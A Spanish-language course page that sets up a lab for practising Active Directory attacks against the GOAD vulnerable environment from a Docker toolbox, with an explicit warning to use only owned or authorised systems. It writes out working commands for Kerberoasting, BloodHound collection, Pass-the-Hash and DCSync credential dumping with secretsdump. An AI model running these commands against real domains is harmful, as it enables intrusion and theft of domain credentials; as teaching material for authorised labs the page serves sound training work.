Entorno de práctica para la Parte 7 — Red Team y operaciones ofensivas (clases 161–180), en concreto los ataques a Active Directory (Kerberoasting, Pass-the-Hash/Ticket, BloodHound, DCSync, Golden Ticket).
⚠️ Solo entornos propios o autorizados. Todo lo de esta página se practica contra un laboratorio de tu propiedad (VMs locales) o con autorización explícita por escrito. Atacar un dominio ajeno es delito. Repasa la Clase 025.
Un Active Directory real necesita Windows Server (controlador de dominio), que no corre
en un contenedor Linux. Por eso el objetivo se despliega como máquinas virtuales, y este
docker compose te entrega solo la caja del atacante (toolbox) con Impacket, netexec y el
ingestor de BloodHound ya instalados.
GOAD es el laboratorio de AD vulnerable estándar de la industria: varios Windows Server con bosques, confianzas y decenas de rutas de ataque preconfiguradas. Despliegue resumido (elige un proveedor):
bash
git clone https://github.com/Orange-Cyberdefense/GOAD
cd GOAD
./goad.sh -t install -l GOAD -p virtualbox # tarda; descarga y provisiona las VMs
192.168.56.10, 192.168.56.11) y el dominio (sevenkingdoms.local).¿Poca RAM? Usa GOAD-Light (menos VMs) con
-l GOAD-Light.
Alternativa sin Windows para practicar solo enumeración LDAP/Kerberos: un contenedor Samba AD DC (más limitado, sin la superficie de ataque de Windows). GOAD es la opción recomendada para el temario completo de la Parte 7.
cd labs/red-team-ad
docker compose build # instala el toolset (tarda la primera vez)
docker compose up -d
docker compose exec attacker bash
Dentro del contenedor tienes impacket-* (GetUserSPNs, secretsdump, psexec…), netexec,
bloodhound-python, ldapsearch, smbclient, nslookup. Guarda el botín en /work/loot
(mapeado a ./loot).
En Linux, si el contenedor no alcanza las VMs, descomenta
network_mode: hosten eldocker-compose.yml. En Docker Desktop, ejecuta las herramientas apuntando a la IP del DC.
Sustituye DC=192.168.56.10, DOMINIO=sevenkingdoms.local, y credenciales de bajo privilegio
que obtengas por las clases previas.
netexec smb $DC # info del host y del dominio
netexec smb $DC -u usuario -p 'Password123' --users
ldapsearch -x -H ldap://$DC -b "dc=sevenkingdoms,dc=local" | head
Relaciónalo con la Clase 170 — Active Directory: enumeración.
impacket-GetUserSPNs $DOMINIO/usuario:'Password123' -dc-ip $DC -request
Crackea el TGS obtenido con Hashcat (modo 13100) y repasa la Clase 171.
bloodhound-python -u usuario -p 'Password123' -d $DOMINIO -ns $DC -c all
Carga el resultado en BloodHound y busca rutas hacia Domain Admins (Clase 173).
Con un hash NTLM, prueba Pass-the-Hash y, si consigues privilegios, DCSync:
netexec smb $DC -u admin -H <hash_ntlm> # Pass-the-Hash
impacket-secretsdump $DOMINIO/admin@$DC -hashes :<hash_ntlm> # DCSync / volcado
krbtgt. Aceptación: explicas por qué ese hash permite un Golden Ticket.docker compose down # apaga la caja del atacante
# Las VMs de GOAD se gestionan aparte: cd GOAD && vagrant halt / vagrant destroy